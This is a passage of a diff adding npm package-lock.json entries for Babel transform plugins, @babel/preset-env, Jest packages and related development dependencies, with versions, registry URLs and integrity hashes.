}, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.23.4.tgz", + "integrity": "sha512-9G3K1YqTq3F4Vt88Djx1UZ79PDyj+yKRnUy7cZGSMe+a7jkwD259uKKuUzQlPkGam7R+8RJwh5z4xO27fA1o2A==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.23.3.tgz", + "integrity": "sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.23.3.tgz", + "integrity": "sha512-KP+75h0KghBMcVpuKisx3XTu9Ncut8Q8TuvGO4IhY+9D5DFEckQefOuIsB/gQ2tG71lCke4NMrtIPS8pOj18BQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.23.3.tgz", + "integrity": "sha512-QnNTazY54YqgGxwIexMZva9gqbPa15t/x9VS+0fsEFWplwVpXYZivtgl43Z1vMpc1bdPP2PP8siFeVcnFvA3Cg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.23.3.tgz", + "integrity": "sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.23.3.tgz", + "integrity": "sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.23.3.tgz", + "integrity": "sha512-HZOyN9g+rtvnOU3Yh7kSxXrKbzgrm5X4GncPY1QOquu7epga5MxKHVpYu2hvQnry/H+JjckSYRb93iNfsioAGg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.23.3.tgz", + "integrity": "sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.23.3.tgz", + "integrity": "sha512-4t15ViVnaFdrPC74be1gXBSMzXk3B4Us9lP7uLRQHTFpV5Dvt33pn+2MyyNxmN3VTTm3oTrZVMUmuw3oBnQ2oQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.23.3.tgz", + "integrity": "sha512-OMCUx/bU6ChE3r4+ZdylEqAjaQgHAgipgW8nsCfu5pGqDcFytVd91AwRvUJSBZDz0exPGgnjoqhgRYLRjFZc9Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.23.3.tgz", + "integrity": "sha512-KcLIm+pDZkWZQAFJ9pdfmh89EwVfmNovFBcXko8szpBeF8z68kWIPeKlmSOkT9BXJxs2C0uk+5LxoxIv62MROA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.23.3.tgz", + "integrity": "sha512-wMHpNA4x2cIA32b/ci3AfwNgheiva2W0WUKWTK7vBHBhDKfPsc5cFGNWm69WBqpwd86u1qwZ9PWevKqm1A3yAw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.23.3.tgz", + "integrity": "sha512-W7lliA/v9bNR83Qc3q1ip9CQMZ09CcHDbHfbLRDNuAhn1Mvkr1ZNF7hPmztMQvtTGVLJ9m8IZqWsTkXOml8dbw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.23.8", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.23.8.tgz", + "integrity": "sha512-lFlpmkApLkEP6woIKprO6DO60RImpatTQKtz4sUcDjVcK8M8mQ4sZsuxaTMNOZf0sqAq/ReYW1ZBHnOQwKpLWA==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.23.5", + "@babel/helper-compilation-targets": "^7.23.6", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.23.5", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-import-assertions": "^7.23.3", + "@babel/plugin-syntax-import-attributes": "^7.23.3", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.23.3", + "@babel/plugin-transform-async-generator-functions": "^7.23.7", + "@babel/plugin-transform-async-to-generator": "^7.23.3", + "@babel/plugin-transform-block-scoped-functions": "^7.23.3", + "@babel/plugin-transform-block-scoping": "^7.23.4", + "@babel/plugin-transform-class-properties": "^7.23.3", + "@babel/plugin-transform-class-static-block": "^7.23.4", + "@babel/plugin-transform-classes": "^7.23.8", + "@babel/plugin-transform-computed-properties": "^7.23.3", + "@babel/plugin-transform-destructuring": "^7.23.3", + "@babel/plugin-transform-dotall-regex": "^7.23.3", + "@babel/plugin-transform-duplicate-keys": "^7.23.3", + "@babel/plugin-transform-dynamic-import": "^7.23.4", + "@babel/plugin-transform-exponentiation-operator": "^7.23.3", + "@babel/plugin-transform-export-namespace-from": "^7.23.4", + "@babel/plugin-transform-for-of": "^7.23.6", + "@babel/plugin-transform-function-name": "^7.23.3", + "@babel/plugin-transform-json-strings": "^7.23.4", + "@babel/plugin-transform-literals": "^7.23.3", + "@babel/plugin-transform-logical-assignment-operators": "^7.23.4", + "@babel/plugin-transform-member-expression-literals": "^7.23.3", + "@babel/plugin-transform-modules-amd": "^7.23.3", + "@babel/plugin-transform-modules-commonjs": "^7.23.3", + "@babel/plugin-transform-modules-systemjs": "^7.23.3", + "@babel/plugin-transform-modules-umd": "^7.23.3", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", + "@babel/plugin-transform-new-target": "^7.23.3", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4", + "@babel/plugin-transform-numeric-separator": "^7.23.4", + "@babel/plugin-transform-object-rest-spread": "^7.23.4", + "@babel/plugin-transform-object-super": "^7.23.3", + "@babel/plugin-transform-optional-catch-binding": "^7.23.4", + "@babel/plugin-transform-optional-chaining": "^7.23.4", + "@babel/plugin-transform-parameters": "^7.23.3", + "@babel/plugin-transform-private-methods": "^7.23.3", + "@babel/plugin-transform-private-property-in-object": "^7.23.4", + "@babel/plugin-transform-property-literals": "^7.23.3", + "@babel/plugin-transform-regenerator": "^7.23.3", + "@babel/plugin-transform-reserved-words": "^7.23.3", + "@babel/plugin-transform-shorthand-properties": "^7.23.3", + "@babel/plugin-transform-spread": "^7.23.3", + "@babel/plugin-transform-sticky-regex": "^7.23.3", + "@babel/plugin-transform-template-literals": "^7.23.3", + "@babel/plugin-transform-typeof-symbol": "^7.23.3", + "@babel/plugin-transform-unicode-escapes": "^7.23.3", + "@babel/plugin-transform-unicode-property-regex": "^7.23.3", + "@babel/plugin-transform-unicode-regex": "^7.23.3", + "@babel/plugin-transform-unicode-sets-regex": "^7.23.3", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.7", + "babel-plugin-polyfill-corejs3": "^0.8.7", + "babel-plugin-polyfill-regenerator": "^0.5.4", + "core-js-compat": "^3.31.0", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==", + "dev": true + }, + "node_modules/@babel/runtime": { + "version": "7.23.8", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.23.8.tgz", + "integrity": "sha512-Y7KbAP984rn1VGMbGqKmBLio9V7y5Je9GvU4rQPCPinCyNfUcToxIXl06d59URp/F3LwinvODxab5N/G6qggkw==", + "dev": true, + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.15.tgz", + "integrity": "sha512-QPErUVm4uyJa60rkI73qneDacvdvzxshT3kksGqlGWYdOTIUOwJ7RDUL8sGqslY1uXWSL6xMFKEXDS3ox2uF0w==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.13", + "@babel/parser": "^7.22.15", + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.23.7", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.23.7.tgz", + "integrity": "sha512-tY3mM8rH9jM0YHFGyfC0/xf+SB5eKUu7HPj7/k3fpi9dAlsMc5YbQvDi0Sh2QTPXqMhyaAtzAr807TIyfQrmyg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.23.5", + "@babel/generator": "^7.23.6", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.23.6", + "@babel/types": "^7.23.6", + "debug": "^4.3.1", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.23.6.tgz", + "integrity": "sha512-+uarb83brBzPKN38NX1MkB6vb6+mwvR6amUulqAE7ccQw1pEl+bCia9TbdG1lsnFP7lZySvUn37CHyXQdfTwzg==", + "dev": true, + "dependencies": { + "@babel/helper-string-parser": "^7.23.4", + "@babel/helper-validator-identifier": "^7.22.20", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "dev": true + }, + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dev": true, + "dependencies": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz", + "integrity": "sha512-5Ni4CU7XHQi32IJ398EEP4RrB8eV09sXP2ROqD4bksHrnTree52PsxvX8tpL8LvTZ3pFzXyPbNQReSN41CAhOg==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/core": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz", + "integrity": "sha512-n7aeXWKMnGtDA48y8TLWJPJmLmmZ642Ceo78cYWEpiD7FzDgmNDV/GCVRorPABdXLJZ/9wzzgZAlHjXjxDHGsg==", + "dev": true, + "dependencies": { + "@jest/console": "^29.7.0", + "@jest/reporters": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^29.7.0", + "jest-config": "^29.7.0", + "jest-haste-map": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-resolve-dependencies": "^29.7.0", + "jest-runner": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "jest-watcher": "^29.7.0", + "micromatch": "^4.0.4", + "pretty-format": "^29.7.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/core/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/core/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/core/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/@jest/environment": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz", + "integrity": "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw==", + "dev": true, + "dependencies": { + "@jest/fake-timers": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-mock": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/expect": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz", + "integrity": "sha512-8uMeAMycttpva3P1lBHB8VciS9V0XAr3GymPpipdyQXbBcuhkLQOSe8E/p92RyAdToS6ZD1tFkX+CkhoECE0dQ==", + "dev": true, + "dependencies": { + "expect": "^29.7.0", + "jest-snapshot": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/expect-utils": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", + "integrity": "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA==", + "dev": true, + "dependencies": { + "jest-get-type": "^29.6.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/fake-timers": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz", + "integrity": "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "@sinonjs/fake-timers": "^10.0.2", + "@types/node": "*", + "jest-message-util": "^29.7.0", + "jest-mock": "^29.7.0", + "jest-util": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/globals": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz", + "integrity": "sha512-mpiz3dutLbkW2MNFubUGUEVLkTGiqW6yLVTA+JbP6fI6J5iL9Y0Nlg8k95pcF8ctKwCS7WVxteBs29hhfAotzQ==", + "dev": true, + "dependencies": { + "@jest/environment": "^29.7.0", + "@jest/expect": "^29.7.0", + "@jest/types": "^29.6.3", + "jest-mock": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/reporters": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz", + "integrity": "sha512-DApq0KJbJOEzAFYjHADNNxAE3KbhxQB1y5Kplb5Waqw6zVbuWatSnMjE5gs8FUgEPmNsnZA3NCWl9NG0ia04Pg==", + "dev": true, + "dependencies": { + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@jridgewell/trace-mapping": "^0.3.18", + "@types/node": "*", + "chalk": "^4.0.0", + "collect-v8-coverage": "^1.0.0", + "exit": "^0.1.2", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^6.0.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.1.3", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "jest-worker": "^29.7.0", + "slash": "^3.0.0", + "string-length": "^4.0.1", + "strip-ansi": "^6.0.0", + "v8-to-istanbul": "^9.0.1" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/schemas": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", + "dev": true, + "dependencies": { + "@sinclair/typebox": "^0.27.8" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/source-map": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz", + "integrity": "sha512-MHjT95QuipcPrpLM+8JMSzFx6eHp5Bm+4XeFDJlwsvVBjmKNiIAvasGK2fxz2WbGRlnvqehFbh07MMa7n3YJnw==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.18", + "callsites": "^3.0.0", + "graceful-fs": "^4.2.9" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/test-result": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz", + "integrity": "sha512-Fdx+tv6x1zlkJPcWXmMDAG2HBnaR9XPSd5aDWQVsfrZmLVT3lU1cwyxLgRmXR9yrq4NBoEm9BMsfgFzTQAbJYA==", + "dev": true, + "dependencies": { + "@jest/console": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/test-sequencer": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz", + "integrity": "sha512-GQwJ5WZVrKnOJuiYiAF52UNUJXgTZx1NHjFSEB0qEMmSZKAkdMoIzw/Cj6x6NF4AvV23AUqDpFzQkN/eYCYTxw==", + "dev": true, + "dependencies": { + "@jest/test-result": "^29.7.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^29.7.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/transform": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz", + "integrity": "sha512-ok/BTPFzFKVMwO5eOHRrvnBVHdRy9IrsrW1GpMaQ9MCnilNLXQKmAX8s1YXDFaai9xJpac2ySzV0YeRRECr2Vw==", + "dev": true, + "dependencies": { + "@babel/core": "^7.11.6", + "@jest/types": "^29.6.3", + "@jridgewell/trace-mapping": "^0.3.18", + "babel-plugin-istanbul": "^6.1.1", + "chalk": "^4.0.0", + "convert-source-map": "^2.0.0", + "fast-json-stable-stringify": "^2.1.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-util": "^29.7.0", + "micromatch": "^4.0.4", + "pirates": "^4.0.4", + "slash": "^3.0.0", + "write-file-atomic": "^4.0.2" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/types": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.1", + "resolved": 